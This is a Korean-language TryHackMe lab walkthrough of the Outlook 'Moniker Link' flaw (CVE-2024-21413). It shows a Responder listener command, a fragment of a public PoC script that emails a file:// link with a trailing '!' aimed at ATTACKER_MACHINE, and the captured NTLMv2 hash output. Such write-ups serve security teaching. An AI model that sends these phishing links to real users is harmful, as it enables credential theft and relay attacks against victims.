
TryHackMe Moniker Link (CVE-2024-21413) 워크스루: 조작된 모니커 링크를 통한 Outlook 보호된 보기(Protected View) 우회로 NTLMv2 해시를 캡처합니다.
TryHackMe의 "Moniker Link" 룸 전체 워크스루: 2024년 Microsoft Outlook 취약점인 CVE-2024-21413을 무기화하여, 피해자가 피싱 이메일의 링크를 클릭하는 순간 NTLMv2 해시를 탈취하는 방법입니다. 매크로도, 첨부 파일도, 눈에 띄는 보안 경고도 없이 말이죠.
CVE-2024-21413("Moniker Link")은 Outlook이 Windows OLE "moniker" 구문(경로 뒤의 !, 예: file://host/share!something)을 사용하는 file:// 링크를 검증하는 방식에서 발생하는 취약점입니다. Outlook은 외부 파일 링크를 보호된 보기(Protected View)로 열도록 되어 있으며, 보호된 보기는 파일을 샌드박스에 가두고 자격 증명이 누출되기 전에 사용자에게 경고합니다. 추가된 ! 하나가 Outlook 자체 URL 파서를 아주 약간만 교란해서 보호된 보기를 완전히 건너뛰고 링크를 곧장 Windows에 전달합니다. Windows는 이 링크가 UNC 경로처럼 보이기 때문에 공격자 서버에 대해 SMB 인증을 조용히 시도합니다. 이 인증 시도로 인해 피해자가 평범해 보이는 링크를 클릭한 것 외에 아무것도 하기 전에 NTLMv2 해시가 누출됩니다.
| 작업 | 목표 |
|---|---|
| 1. 정찰 | CVE와 moniker-link 파싱 버그가 보호된 보기를 우회하는 방식 이해 |
| 2. 리스너 설정 | 외부 SMB 인증을 잡기 위해 Responder 구동 |
| 3. 무기화 | 악성 moniker 링크가 포함된 피싱 이메일 제작 |
| 4. 전달 | 피해자 사서함으로 이메일 전송 |
| 5. 캡처 | 피해자가 링크를 클릭하도록 유도하고 NTLMv2 해시 캡처 |
responder -I ens5
Responder는 아무것도 보내기 전에 공격자 박스의 인터페이스에서 시작되며, LLMNR, NBT-NS, DNS 중독이 활성화됩니다. 이것이 실제로 자격 증명 누출을 잡는 부분입니다. 익스플로잇이 Outlook을 속여 공격자 IP에 대해 SMB 인증을 시도하게 만들면, Responder가 반대편에서 이를 받아내는 것입니다.

대상은 표준 Outlook 사서함인 [email protected]이며, 피싱 이메일이 도착하기 전의 평범한 받은 편지함 화면을 보여줍니다. 나머지 룸 작업이 진행되는 기준 상태입니다.

sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>
익스플로잇(CMNatic의 공개 CVE-2024-21413 PoC)은 SMTP를 통해 HTML 이메일을 만들어 보내는 작은 Python 스크립트입니다. 페이로드는 전적으로 한 줄에 있습니다. 공격자 머신을 가리키는 <a href="file://..."> 링크에 경로 끝에 !exploit이 붙어 있습니다. 이 끝의 !가 바로 버그의 전부입니다. Outlook의 링크 파서가 URL을 잘못 분류하게 만들어, 외부 파일 링크에 일반적으로 적용되는 보호된 보기 검사를 건너뛰게 합니다.

python3 exploit.py
Enter your attacker email password: attacker
Email delivered
스크립트를 실행하면 메일 서버에 인증하고 제작된 이메일을 피해자에게 보냅니다. Email delivered 메시지는 이메일이 공격자의 사서함을 성공적으로 떠났음을 확인해 줍니다.

이메일은 CMNatic이 보낸 제목 CVE-2024-21413인 메일로 [email protected]의 받은 편지함에 도착합니다. 내용은 "Click me"라는 하이퍼링크 하나뿐입니다. 첨부 파일도, 매크로 경고도, 일반적인 피싱 필터나 주의 깊은 사용자가 의심할 만한 요소도 없습니다.

"Click me"를 클릭하면 Outlook의 Windows 탐색기 오류 대화상자가 나타납니다: "'\10.113.72.84\test!exploit' 항목을 찾을 수 없습니다. 올바른 위치 또는 웹 주소를 사용하고 있는지 확인하세요." 이 오류는 사실 익스플로잇이 이미 작동했음을 증명합니다. 이 대화상자가 나타날 때쯤 Windows는 이미 SMB를 통해 해당 UNC 경로를 확인하려 시도했고, 그 과정에서 이미 10.113.72.84(공격자 머신)에 인증을 수행했습니다. 보이는 실패는 애초에 존재하지 않도록 만들어진 공유를 Explorer가 찾지 못한 것일 뿐이며, 자격 증명 누출은 오류 상자가 뜨기 전에 이미 조용히 일어났습니다.

[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...
공격자 박스로 돌아와 보면, Responder가 10.113.150.143(피해자)에서 발생한 THM-MONIKERLINK\tryhackme의 전체 NTLMv2-SSP 핸드셰이크를 이미 캡처했습니다. 자격 증명 프롬프트도, 보안 경고도, 평범해 보이는 링크를 한 번 클릭한 것 외의 어떤 사용자 조작도 없었습니다. Outlook이 moniker 링크를 잘못 처리하는 순간 해시는 크래킹하거나 릴레이할 준비가 된 상태였습니다.

!)가 취약점의 전부였습니다. CVE-2024-21413은 URL/경로 파서가 보안 경계 우회의 흔한 원인임을 잘 보여줍니다. 잘못된 입력이 검사를 피하려면 복잡할 필요 없이, 검사가 다루지 않는 코드 경로에 들어가기만 하면 됩니다.file:// 링크에서의 NTLM 릴레이/캡처는 오래된 기법이며, 이 CVE가 주목받은 이유는 Outlook이 원래 경고 없이는 링크가 실행되도록 두지 않았어야 했기 때문입니다.